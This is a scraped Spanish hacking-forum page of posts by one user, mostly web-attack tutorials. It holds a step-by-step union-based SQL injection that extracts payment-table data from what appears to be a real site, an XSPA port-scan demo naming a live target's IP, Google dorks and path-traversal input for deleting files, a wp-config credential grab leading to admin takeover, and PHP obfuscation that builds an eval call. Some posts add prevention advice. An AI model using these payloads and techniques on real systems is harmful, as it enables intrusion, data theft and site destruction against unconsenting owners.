Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - arthusu

#301
Dudas y pedidos generales / Re:Problema con bios
Agosto 23, 2013, 06:14:49 AM
tengo la misma bios selecciona el disco duro y luego en la prioridad de disco duro le deja el usb :P :D salu2
#302
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Me puedes hacer un pequeño tutorial si no es mucha molestia , es que ahora no entiendo nada
O tambien podrias ponerte a estudiar sqli para que entiendas ese payload ;)
#303
Pentesting / Re:XSFF ~ Cross Site Flashing Fuzzer
Agosto 18, 2013, 07:23:08 PM
Muy buen post bro me gusto mucho salu2
#304
Pentesting / [Tutorial] XSS a ciegas
Agosto 14, 2013, 07:25:11 PM
¿Que es XSS a ciegas?

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

XSS a ciegas en realidad es un XSS persistente que se ejecuta en otra parte del sitio web que no se muestra directamente al usuario, sino se ejecuta en otra parte de la misma aplicacion web.

A un ataque XSS persistente me refiero a uno que queda almacenado en una base de datos o un archivo de registro.

¿Como atacar?

En realidad esto es lo mas bonito, como no sabemos que vector inyectar, inyectamos a lo tonto o se podria decir que inyectamos por fuerza bruta :D
Me refiero a que tenemos una lista de Payloads la cual lanzamos en variables que pudiesen ser vulnerables a este tipo de ataques, este tipo de ataques mas comunmente suceden en aplicacion de inicio de sesion, foros, etc...

Vamos a hacer una practica :)

La siguiente practica sera algo mas irreal pero es para que se entienda el concepto de XSS a ciegas :D
Tenemos dos archivos en la practica sin filtrar nada de nada :P
Aqui se los dejo:

contact.php
Código: text
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="utf-8">
<title>Contacto</title>
<style>
.error{
color:red;
font-weight: bold;
}
.ok{
color:green;
font-weight: bold;
}
</style>
</head>
<?php
if(isset($_POST['submit'])){
if(!empty($_POST['name']) && !empty($_POST['email']) && !empty($_POST['message'])){
$nombre=$_POST['name'];
$correo=$_POST['email'];
$mensaje=$_POST['message'];
$fp = fopen("logs.txt","a");
fwrite($fp, "Nombre: $nombre \t Correo: $correo \t Mensaje: $mensaje" . PHP_EOL);
fclose($fp);
echo '<p class="ok">Su mensaje ha sido enviado correctamente.</p>';
}else{
echo '<p class="error">No ha llenado los campos correctamente.</p>';
}
}else{
?>
<body>
<center>
<h1>Formulario de contacto</h1>
<form action="contact.php" method="post">
<p>nombre: <input type="text" name="name" size="15" maxlength="40"></p>
<p>correo: <input type="text" name="email" size="15" maxlength="80"></p>
<p>mensaje: <textarea name="message"></textarea></p>
<p><input type="submit" value="Enviar" name="submit"></p>
</form>
</center>
</body>
</html>
<?php
}
?>

login.php
Código: text
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="utf-8">
<title>Contacto</title>
<style>
.error{
color:red;
font-weight: bold;
}
.ok{
color:green;
font-weight: bold;
}
</style>
</head>
<?php
if(isset($_POST['submit'])){
if(!empty($_POST['name']) && !empty($_POST['pass'])){
$nombre=$_POST['name'];
$password=$_POST['pass'];
if($nombre=="arthusu" && $password=="12345"){
echo '<h1>Bienvenido al sistema de logs</h1>';
$file = fopen("logs.txt", "r") or exit("no se pudo abrir el archivo!");
while(!feof($file))
{
echo fgets($file). "<br />";
}
fclose($file);
}else{
echo '<p class="error">El usuario o contraseña no son correctos.</p>';
}
}else{
echo '<p class="error">No ha llenado los campos correctamente.</p>';
}
}else{
?>
<body>
<center>
<h1>Sistema de registros - Iniciar sesion</h1>
<form action="login.php" method="post">
<p>nombre: <input type="text" name="name" size="15" maxlength="40"></p>
<p>contraseña: <input type="password" name="pass" size="15" maxlength="80"></p>
<p><input type="submit" value="Enviar" name="submit"></p>
</form>
</center>
</body>
</html>
<?php
}
?>


Ahora digamos que el usuario entra a nuestra pagina de contacto y deja su mensaje:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login





Luego llega el administrador y va y checa el mensaje en su sistema de logs :D

usuario: arthusu contraseña: 12345

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login







Ahora digamos que el usuario empieza a atacar con su lista de payloads, en este caso no usaremos una lista de payloads solo usaremos un vector, por que nosotros ya sabemos como inyectar, pero en realidad no se sabe cual vector va llegar a funcionar es por eso que se inyectan una lista de payloads al sitio....

Entonces enviamos nuestro mensaje de nuevo que seria nuestro vector a inyectar:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Luego llega el administrador e inicia sesion en su sistema de logs donde puede ver los mensajes enviados :P

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

En este caso se puede ver muy claramente el concepto de XSS a ciegas por que nosotros en realidad no sabemos si se inyecto por que no la vemos... pero el administrador si la mirara y se le inyectara ese codigo cuando lo mire en sus logs, entonces como se puede insertar en este caso cualquier xss no solamente podemos hacer un alert, sino una redireccion a un deface, un robo de cookies (claro esta app no tiene cookies por que es un ejemplo solamente),etc....


Prevencion

La unica prevencion es no confiar en nada de lo que el usuario ingrese y filtrar todo lo que inserte... Veamos por ejemplo como solucionariamos este problema de que nos inyecten este XSS:

contact.php FIX
Código: text
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="utf-8">
<title>Contacto</title>
<style>
.error{
color:red;
font-weight: bold;
}
.ok{
color:green;
font-weight: bold;
}
</style>
</head>
<?php
if(isset($_POST['submit'])){
if(!empty($_POST['name']) && !empty($_POST['email']) && !empty($_POST['message'])){
$nombre=htmlentities($_POST['name']);
$correo=htmlentities($_POST['email']);
$mensaje=htmlentities($_POST['message']);
$fp = fopen("logs.txt","a");
fwrite($fp, "Nombre: $nombre \t Correo: $correo \t Mensaje: $mensaje" . PHP_EOL);
fclose($fp);
echo '<p class="ok">Su mensaje ha sido enviado correctamente.</p>';
}else{
echo '<p class="error">No ha llenado los campos correctamente.</p>';
}
}else{
?>
<body>
<center>
<h1>Formulario de contacto</h1>
<form action="contact.php" method="post">
<p>nombre: <input type="text" name="name" size="15" maxlength="40"></p>
<p>correo: <input type="text" name="email" size="15" maxlength="80"></p>
<p>mensaje: <textarea name="message"></textarea></p>
<p><input type="submit" value="Enviar" name="submit"></p>
</form>
</center>
</body>
</html>
<?php
}
?>


En este caso solo filtramos contra este ataque xss pero tambien podriamos hacer mas como filtrar si el campo inyectado es solo string de la a ala z para el nombre, el email este escrito correctamente, etc....

Veamos el ejemplo cuando lo ejecutamos de nuevo con el mismo vector anterior cuando inyectamos:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Aqui termina el tutorial espero que les haya sido de ayuda, no sin antes de darles un poco de ayuda para este tipo de ataques:

Cheat sheet XSS (Payloads): You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Burp Suite (Lanzar Payloads): You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Sitio de referencia: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Fuente: Arthusu BLOG
#305
Back-end / [Tutorial] PHP no alfanumerico
Agosto 11, 2013, 11:00:31 PM
CitarEste tutorial ha sido originalmente creado por Gareth Heyes en su BLOG:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Esto solo es una traduccion, espero que les sea de ayuda como me fue a mi al investigar sobre el tema, ademas pueden usar su herramienta You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login para generar este tipo de obfuscado.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Mi primer post de código no alfanumérico era un poco breve, en la emoción del descubrimiento y falle en profundizar el proceso. He decidido seguir con este tutorial y espero explicar mejor el proceso para cualquiera que quiera aprender o mejorar esta técnica.

La base de código PHP no alfanumérico es aprovechar el hecho de que PHP automáticamente convierte matrices (Arrays) en una cadena "Array" cuando se usa en un contexto de cadenas. Un ejemplo sencillo seria:
  $x= array(1,2,3);
echo $x; // Salida: Array

$x ahora es la cadena "Array". Perto te daras cuenta que usamos caracteres alfanumericos, tambien podemos crear una matriz sin utilizar array() como el siguiente:

$_="";
$_[+""]='';
echo $_; // Salida Array

La primera parte crea una variable "$_" la segunda parte hace referencia a 0 mediante el operador de prefijo de una cadena en blanco para convertir a 0, la asignación crea el array. Este fue un primer intento de hackear una matriz cuando escribí por primera vez, pero se pueden utilizar todo tipo de trucos, por ejemplo, no es necesario que parta de "0".

$_="";
$_[+$_]++;
echo $_; // Salida Array

Te dejare a ti experimentar formas de crear matrices pero tu tienes la idea.
Claro nosotros tenemos los caracteres "A","r","r" etc, Ahora tenemos que acceder a ellos y afortunadamente PHP es muy similar a JavaScript en ese sentido. El primer paso es forzar a nuestra matriz (Array) dentro de la cadena actual para concatenar con una cadena en blanco como esto:

$_=$_.""; // $_ contiene nuestro Array anteriormente creado y lo forzamos dentro de una cadena

El siguiente paso es acceder a la letra actual y PHP convenientemente provee el mismo método que javascript para acceder. Para hacerlo necesitamos cero (0), como mostramos antes usando el operador prefijo con una cadena en blanco podemos convertir a cero (0) (también como javascript).

echo +""; // Salida 0

Usando el 0 nosotros podemos acceder a nuestra letra "A" desde la matriz convertida.

echo $_[+""]; // Salida "A"

Ahora originalmente por que estaba descubriendo esta técnica hice algunas operaciones matemáticas locas en múltiples caracteres para obtener otros caracteres para la matriz, pero esto no fue necesario como Stefan Esser propuso puede ser mas simple usar cadenas de incremento/decremento. Pero de cualquier manera yo imagine la salida de las letras haciendo una anidación de todos los caracteres en bucles, luego haré un post del script. Por ahora vamos simplemente a incrementar/decrementar los caracteres que nosotros necesitemos. Mostraremos como obtener la letra "B" primero.
  $_=""; // nosotros necesitamos una cadena en blanco para comenzar
$_[+$_]++; // Accedemos a la parte de la cadena y lo convertimos en una matriz
$_=$_.""; // Convertimos la matriz en una cadena "Array"
$_=$_[+""]; // Accedemos a el índice 0 de nuestra cadena "Array" que es "A"
echo ++$_; // Incrementamos "A" a "B"

Esto es lo básico de como funciona, nosotros necesitamos crear una una cadena que llame a una función tal como "chr" o genere caracteres manualmente y entonces una función basada en eval para llamar a nuestro código. El post original usaba GET pero desde que ya esta documentado te mostrare como generar código diferente. Nosotros usaremos la función "assert" de PHP, ya que evalúa código y se le permite ser llamado usando referencias de cadenas de su nombre. Por ejemplo:
  $_="assert";
$_("print 1+1"); // Output 2

Por lo tanto necesitamos generar "assert" y nuestro código llamado. Usando el ejemplo de antes que nosotros generamos "Array" nosotros simplemente creamos nuevas referencias y incrementamos los caracteres que necesitemos.


$_="";// Nosotros necesitamos una cadena en blanco para comenzar
$_[+$_]++;// Accedemos a la parte de la cadena para convertirla en una matriz(Array)
$_=$_."";// Convertimos la matriz en una cadena "Array"
$__=+"";// Creamos 0
$__++;// Incrementamos a 1
$___=$_[+""];// Accedemos al índice 0 de la cadena "Array" que es "A"
$____=$____=$_[$__];// Accedemos al índice 1 de la cadena "Array" que es "r"
$_____=$____;// Asignamos "r" para una nueva variable
$_____++;// Incrementamos a "s"
$______=$___;// Nueva variable para "E"
$______++;$______++;$______++;$______++;//Incrementamos para "E"
$_=$___.$_____.$_____.$______.$____.++$_____;//Concatemos las cadenas para formar "AssErt"
$_("p".$____."in".$_____." $__+$__");//Llamamos "print 1+1"

Usted notara que faltan caracteres al final "p","i" y "n" son alfanuméricos esos son para que pueda generar el uso de las técnicas descritas. Hay retos distintos que hacer después de eso, por ejemplo, una pregunta que debe hacerse es "¿Cuantos caracteres son el mínimo necesario para generar código no alfanumérico?" Otro reto es "¿Cual es la cantidad mínima de caracteres para crear un generador de código no alfanumérico?". Espero que hayan disfrutado de esta escritura y disfrutado creando y buscando nuevas cosas con no alfanuméricos en PHP!

Retos:

1.- Completa el código "print 1+1" al final del ultimo ejemplo (Básico)
2.- Busca el mínimo de caracteres requeridos para generar código no alfanumérico, ejemplo: usando solo $_ + etc (Difícil)
3.- Crea un generador no alfanumérico en PHP la mas pequeña cantidad de código posible como este: The HackVertor Non-Alpha tag (You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login) (Difícil)

Lideres del reto:
1.- @insertScript
Reto 1 - Hecho
Reto 2 - Hecho (usando $_()[]+=.;)
#306
Off Topic / Re:Cuidadin con el TOR
Agosto 05, 2013, 03:15:31 PM
No es necesario saber ingles solamente dice que tenian montado un 0day (un JS ) en las paginas de tor, esas que son muy conocidas en la deep web, entonces al entrar cogia tus datos, segun lei dice que solo afectaba a versiones <=17 de firefox no se si los demas navegadores tambien, a eso creo que se referia con cuidadin con tor, pero al parecer ya estan cerrando varios servicios de hosting, y segun creo no se si lei bien, los del fbi tenian ahi montado tambien ese js para obtener datos de personas pedofilas, personas que son buscadas en tor, etc... y asi a atraparlos pero bueno sino usen google traductor salu2 :P si me equivoque en algo entonces corriganme que no se del todo ingles xD salu2
#307
 Bueno antes que nada XSPA (Cross site port attack) es un ataque en el cual puedes atacar los puertos de un determinado sitio, no solo eso sino tambien llegar a ver archivos locales y llegar a realizar desbordamientos de buffer en el sistema.

Para mas informacion sobre este ataque pueden leer el articulo que publique hace ya tiempo en una web:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Entonces empecemos, en este ejemplo usaremos Holoscripter de web como ejemplo para escanear los puertos :P

Como vemos esta web tiene You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login el cual da un poco mas de seguridad a tu sitio....

Lo siguiente es evitar Cloudflare para ello existen muchos metodos, yo ya lo he sacado y la ip es la siguiente:

Código: text
 65.99.225.171


Despues de eso nos damos cuenta que esa alojado en You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Lo siguiente es pasarle un escaneo con nmap para despues comprobar con el ataque XSPA en el subdominio de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login....

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Detectamos los siguientes puertos abiertos, ahora lo siguiente sera ir a la url indicada donde es vulnerable a este tipo de ataques....

Empecemos por un puerto que esta closed que es el 139 por ejemplo, nos arroja una respuesta como la siguiente:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login





En pocas palabras no puede conectar a ese puerto....

Veamos ahora con un puerto que esta abierto como el 8080 por ejemplo:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Ahora aqui lo interesante el tipo de errores que nos arroja son diferentes, en este caso, siempre y que un puerto este abierto arroja un tipo de error de codigo como en este ejemplo que tiro: 524 o alguna palabra como por ejemplo bad request, y siempre que el puerto este cerrado arroja que no se pudo contactar con el servidor (unable to conectact target server :D )

Ahora prueben ;) You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Por cierto he probado con file:// pero no pude encontrar nada interesante...

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Pero que yo no haya encontrado no significa que ustedes no lo hagan ahi lo interesante es que esta usando java y esta tirando una excepcion entonces puede ser que en realidad este validando ese tipo de urls ...

Bueno ante esta demostracion me retiro no sin antes decirles que lean el articulo de xspa que les puede interesar... por cierto antes que nada esto no es un "tutorial" solo es una demostracion... Esta vulnerabilidad todavia no ha sido reportada

salu2

Fuente: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#308
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Los xats son vulnerables y mínimamente recomendados, el IRC es más cómodo, por cierto, yo propongo que se deberían de crear plataformas para programación, así como code academy por ejemplo, para una experiencia más "real" en cuanto a programación, al igual se podría aplicar al hacking, phreaking, wireless, etc etc, sé que por eso están los wargames, pero una plataforma sería más "cómoda y realista", además de que acoplaría al usuario a un uso más cotidiano del lenguaje, saludos. :)

Arthusu: Odio SAO :( ajajajajaja
LOL xD!

Sobre lo que comentas me parece una buena idea como hace tiempo vi que unos users estaban creando una forma de aprender pentest (mas bien me la mostro un amigo que esta registrado aqui xD :P), donde simulaban una aplicacion y a la ves enseñaban, es decir, por ejemplo: ataques xss, te explicaban por que ocurria y como inyectar luego tu inyectabas xss en un simulador y baam salia el xss y seguia el siguiente nivel y asi te seguian explicando y aprendiendo al mismo tiempo que practicabas con el simulador, es como eso de programacion de codecademy, pero enfocado al pentest... podria ser cualquier cosa, bueno solo es otra sugerencia mas xD :P
Salu2

PD: F0M3T nisiquiera lo has visto weon xD  ::)

Buena sugerencia arthusu, el problema es que con xss no habría problema pero imaginate sqli y rfi habrían muchos newbies lanzando apps e intentando dañar el server... aunque si se hace bien y con un entorno controlado... lo veo una idea perfecta! :D

Es por eso que dije "Simulacion" y no que tendria una db por ejemplo, simular que esta ejecutando la db pero en realidad solo esta detectando la inyeccion por medio de expresiones regulares y varias condicionales XD :P jeje  ;) salu2
#309
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Los xats son vulnerables y mínimamente recomendados, el IRC es más cómodo, por cierto, yo propongo que se deberían de crear plataformas para programación, así como code academy por ejemplo, para una experiencia más "real" en cuanto a programación, al igual se podría aplicar al hacking, phreaking, wireless, etc etc, sé que por eso están los wargames, pero una plataforma sería más "cómoda y realista", además de que acoplaría al usuario a un uso más cotidiano del lenguaje, saludos. :)

Arthusu: Odio SAO :( ajajajajaja
LOL xD!

Sobre lo que comentas me parece una buena idea como hace tiempo vi que unos users estaban creando una forma de aprender pentest (mas bien me la mostro un amigo que esta registrado aqui xD :P), donde simulaban una aplicacion y a la ves enseñaban, es decir, por ejemplo: ataques xss, te explicaban por que ocurria y como inyectar luego tu inyectabas xss en un simulador y baam salia el xss y seguia el siguiente nivel y asi te seguian explicando y aprendiendo al mismo tiempo que practicabas con el simulador, es como eso de programacion de codecademy, pero enfocado al pentest... podria ser cualquier cosa, bueno solo es otra sugerencia mas xD :P
Salu2

PD: F0M3T nisiquiera lo has visto weon xD  ::)
#310
Bugs y Exploits / Re:Union based SQL Inyeccion
Julio 31, 2013, 05:51:21 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
No entiendo :/
lo de select columna1,columna2,columna3 from tabla where id='967' Union Select 1,2,3  -- - ' ya no lo entendí
Tengo una pagina vulnerable, la estoy usando como practica jajaja, pero no entiendo eso.
Saludos

Significa como es que esta formada la consulta en realidad por dentro, siempre que estes haciendo una inyeccion sql necesitas imaginar como el programador, en este caso para usar UNION siempre se deben usar el mismo numero de columnas en este caso 3 de esa manera la union estara realizada correctamente, si no te arroja un error The used SELECT statements have a different number of columns :) saludos
#311
Bugs y Exploits / Union based SQL Inyeccion
Julio 31, 2013, 02:58:34 PM
Causar Error

'
)
\
"

Entendiendo la consulta:

Error performing query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''967''' at line 1

select * from tabla where id='967'  -- - ' <-- lo que viene despues de -- es ignorado

Tipos de comentarios:


--
#
/**/

Tipo de inyeccion:

Este tipo de SQL inyeccion es de tipo String o cadena
Tambien existe la de tipo integer o entero. ¿Como sabemos que es string o integer?

simplemente por que tiene '967' esta encerrado entre comillas esta declarado como cadena y cuando agregamos -- - se soluciona es de tipo string :)

Encontrando las columnas:

Vamos a utilizar la clausula ORDER BY para detectar el numero de columnas....

ORDER BY 1 <--- La primera columna existe? SI!

Como no arroja error si existe :)

ORDER BY 10 <--- Existen 10 Columnas? NO

Error performing query: Unknown column '10' in 'order clause'

ORDER BY 5 <-- Existe la columna 5? NO
Error performing query: Unknown column '5' in 'order clause'

ORDER BY 4 <-- Existe la columna 4? NO
Error performing query: Unknown column '4' in 'order clause'

ORDER BY  3 <--- Existe la columna 3? SI

Entonces son 3 columnas :)

Ahora vamos a unir la consulta con la mia que seria mas o menos asi:


select columna1,columna2,columna3 from tabla where id='967' Union Select 1,2,3  -- - '

Esos campos 1 2 y 3 que se muestran son vulnerables y podemos inyectar codigo SQL dentro de ellos. :D

Search the document '1' , 2 - 3.

Funciones basicas:

database() - Arroja la base de datos actual con la que esta trabajando la DB
version() - Arroja la version de  la base de datos
user() - Arroja el usuario actual
concat() - concatenamos (unimos) datos
group_concat() - concatena los datos pero solo 1024 bytes que seria un MB si se pasa corta y no llega
concat_ws() - Funciona igual que concat solo que al inicio lleva un separador

Consulta actual:

select columna1,columna2,columna3 from tabla where id='967'  union select concat(version(),0x7e,database(),0x7e,user()),2,3 -- -

Search the document '5.5.30~genhou5_genhound~genhou5_genhound@localhost' , 2 - 3.

Sacar datos:

Las versiones mayores o iguales a 5 tienen una base de datos de metadatos llamada information_schema
Con la cual puedes sacar los datos de otras bases de datos XD :P

TABLE_NAME -> en esta columna estan los nombres de la tabla
COLUMN_NAME -> en esta columna se encuentran los nombres de las columnas
SCHEMA_NAME -> en esta columna se encuentran los nombres de las bases de datos

TABLES -> en esta tabla se encuentran las tablas
COLUMNS -> en esta tabla se encuentran las columnas
SCHEMATA -> en esta tabla se encuenran las dbs

Sacaremos las tablas de la base de datos actual:

select columna1,columna2,columna3 from tabla where id='967'  union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database() -- -'

tablas:
cred_purch,datatype_look,gh_country,gh_data,gh_
descr_ctry,gh_description,gh_desr_region,gh_merchant,gh_my,
gh_notify,gh_problem,gh_region,gh_register,gh_saved,gh_search,gh_worldloc,info_link,
paypal_payment_info


Sacaremos las columnas de la tabla cred_purch:

select columna1,columna2,columna3 from tabla where id='967'  union select group_concat(column_name),2,3 from information_schema.columns where table_name='cred_purch' -- -'

Columnas:
purch_id,reg_id,credits,amount,time,ptype,notes,txnid,paymentstatus,ppipn

Sacaremos los datos :3

select columna1,columna2,columna3 from tabla where id='967'  union select concat_ws(0x7e,purch_id,reg_id,credits,amount,time,ptype,notes,txnid,paymentstatus,ppipn),2,3 from cred_purch  -- -'

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
?id=967967'  union select concat_ws(0x7e,purch_id,reg_id,credits,amount,time,ptype,notes,txnid,paymentstatus,ppipn),2,3 from cred_purch  -- -'

Finished Class xD !

Alumnati:
Los quito por cuestiones de que no quiero q vean xD

Salu2 espero que les guste auque sea un poco simple :P
#312
Cita de: [Q3rV[0] link=topic=18589.msg62916#msg62916 date=1375207720]
Muy bueno...solo queria aclarar que desp del /*! puede ser precedido cualquier numero de 5 cifras desde el 00000 al 49999 para evadir el waf.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login#

Y que esas 5 cifras significan la version pero como en el caso de q3rv0 si pones 00000 signfica un 0 en si es decir que si pones 01234 02345 siempre seria 0 es decir la version seria tomada como 0 :P y si pones por ejemplo: 50000 seria tomada como version 5 :) salu2 ;) :D
#313
Gracias Jimeno por el aporte y tambien a ti WHK me gusto mucho salu2
#314
Bugs y Exploits / Re:MYSQLI EB con extractvalue()
Julio 27, 2013, 12:25:56 AM
Muy bueno q3rv0 +Karma por cierto no es necesario usar union select puedes usar un and  :P ademas no solo puede usar extractvalue sino tambien updatexml, salu2 bro :-) buen post :P
#315
Bugs y Exploits / Re:Sqlmap + Coak
Julio 26, 2013, 04:20:52 AM
muy buen tutorial que te aventastes del proceso bro, La web se resistia pero no contaba con cloak :D esperemos hacer mas cosas como estas :P saludos hermano
#316
¿Que es?

Pues segun mis palabras esta es una vulnerabilidad que se basa en un archivo que permite hacer descargas del sitio web sin tener algun filtro o alguno que no filtra todo :P

¿El codigo?

Veremos un ejemplo del codigo que puede ser vulnerable:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Como ves solo pide de la variable $f , despues nos manda unos headers con el nombre del archivo y el tipo de archivo y por ultimo solo realiza la salida del mismo.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
  ¿Como explotarla?

Bueno mas que nada lo que se busca son datos sensibles o credenciales que puedan servir para algo, por ejemplo una conexion a una base de datos.

Bueno empecemos he encontrado mi web vulnerable... ahora paso a realizar la descarga del archivo, este es un wordpress y como muchos sabemos wordpress tiene sus credenciales en el archivo wp-config.php


You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Como vemos tenemos sus credenciales, ahora lo unico que hariamos seria conectar a la base de datos, encontrar sus usuarios y desencriptar contraseñas, como sabemos que este proceso de desencriptacion es muy tardado usamos el token para resetear...

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


Y tenemos acceso al panel:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
   ¿Como evitarla?

La forma de evitarla seria solo decir un directorio, ver si el archivo es un archivo en realidad y si existe, y agregar por ejemplo solo una deteccion del tipo de archivo que se va descargar, por ejemplo, pdf y se podrian agregar mas, igual tambien podemos prevenir el uso de null bytes, este seria el codigo de ejemplo:


You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Fuente: Arthusu BLOG
#317
Pentesting / Eliminacion de archivos arbitrarios
Julio 21, 2013, 03:48:17 PM
¿Que es un archivo arbitrario?

Basicamente un archivo arbitrario es el cual permite la modificacion de otros archivos en el sistema de la aplicacion web.

En este caso hablaremos de un archivo que puede causarnos la eliminacion de otros archivos es decir podriamos eliminar toda la web solo con ese archivo, es algo peligroso dejar un archivo como ese sin que no sea un administrador el que lo esta manejando.

¿Google Hacking?

Claro que si, usaremos los famosos dorks que no son mas que operadores de google para nuestros fines,entonces puedes armarte dorks como los siguientes:

Código: text
inurl: eliminar.php?archivo=
inurl: delete.php?file=
inurl: delete.php?filename=


O parecidos en el arte de google hacking la cuestion esta en inventar xD :D

¿Realizando el ataque?

Es simple tienes permiso para borrar un archivo.... xD :D

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Bueno ahi tienen el superpantallazo (borre toda la mierda y deje lo interesante :D ), bueno tenemos la funcion unlink() que lo que hace es eso mismo del tutorial borrar un archivo :) ... Entonces tenemos un ruta, y ademas tenemos un FPD (Full Path Disclousure) y como sabemos LFI(Local File inclusion), combinamos esto y borramos el archivo.... De manera que quedaria asi por ejemplo:

Código: text
file=../../../aquielnombredelarchivoaeliminar.loquesea

De manera que visitaremos nuestra web :D

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Y como vemos va todo ok!

Entonces regresamos a nuestro archivo arbitrario que tiene permisos para eliminar :)
Y le indicamos que ya no queremos ese archivo que lo tire a la basura :P

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Lo que veriamos seria que no tira ningun error unlink() es decir que el archivo se elimino correctamente :)

Entonces tratamos de ingresar a la pagina que anteriormente vimos todo ok :)

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
y tenemos un error 404 de que esa pagina no existe :P

Hasta aqui hemos realizado el ataque que seria eliminar el archivo que queramos de laaplicacion web.

¿Como prevenir este tipo de ataques?

Solo es tan facil como no dejar ese tipo de archivos para todo el publico, sino para solo el administrador por ejemplo, o simplemente no crearlos si no son necesarios.

Me despido espero que les haya resultado de utilidad este tutorial :)
#318
ami me pasaba lo mismo una vez y vi que en la bios tenia una opcion para darle memoria a la tarjeta de video no se si te ayude la misma opcion, salu2 bro :P
#319
Dudas y pedidos generales / Re:BOTNET RAVEN ERROR!
Julio 16, 2013, 05:49:24 PM
ahi deberia aver un isset en el envio de esta manera no sale ese error, es decir si se envia el formulario, entonces esas variables si existen sino no existen :P

Código: text
 <div id="titleWrapper">                              
         <a href="index.php" id="title">ForoMalware - PW[N]ED BotNet</a>
         <p class="titleSlogan">PW[N]ED BotNet - Powered by PW[N]ED</p>
       </div>



WTF?

salu2

#320
Muy buena bro, tambien puedes hacer union based :P jeje saludos muy buena bro gracias por compartir sigue asi :D

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login union select 1,2,version()  -- -